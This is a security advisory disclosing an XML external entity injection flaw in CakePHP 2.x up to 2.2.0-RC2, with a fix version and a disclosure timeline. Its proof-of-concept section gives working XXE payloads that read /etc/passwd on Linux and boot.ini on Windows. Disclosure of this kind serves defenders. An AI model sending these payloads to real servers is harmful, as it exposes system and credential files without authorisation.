CakePHP 2.x-2.2.0-RC2 XXE Injection

Type securityvulns
Reporter Securityvulns
Modified 2012-07-23T00:00:00


Exploit title: CakePHP XXE injection

Date: 01.07.2012

Software Link:

Vulnerable version: 2.x - 2.2.0-RC2

Tested on: Windows and Linux

Author: Pawel Wylecial

  1. Background

Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."

  1. Vulnerability

CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.

  1. Proof of Concept

Linux: <!DOCTYPE cakephp [ <!ENTITY payload SYSTEM "file:///etc/passwd" >]> <request> <xxe>&payload;</xxe> </request>

Windows: <!DOCTYPE cakephp [ <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]> <request> <xxe>&payload;</xxe> </request>

  1. Fix

Fix applied in version 2.2.1 and 2.1.5. See official security release:

  1. Timeline

1.07.2012 - vulnerability reported 13.07.2012 - response from CakePHP 14.07.2012 - confirmed and fix release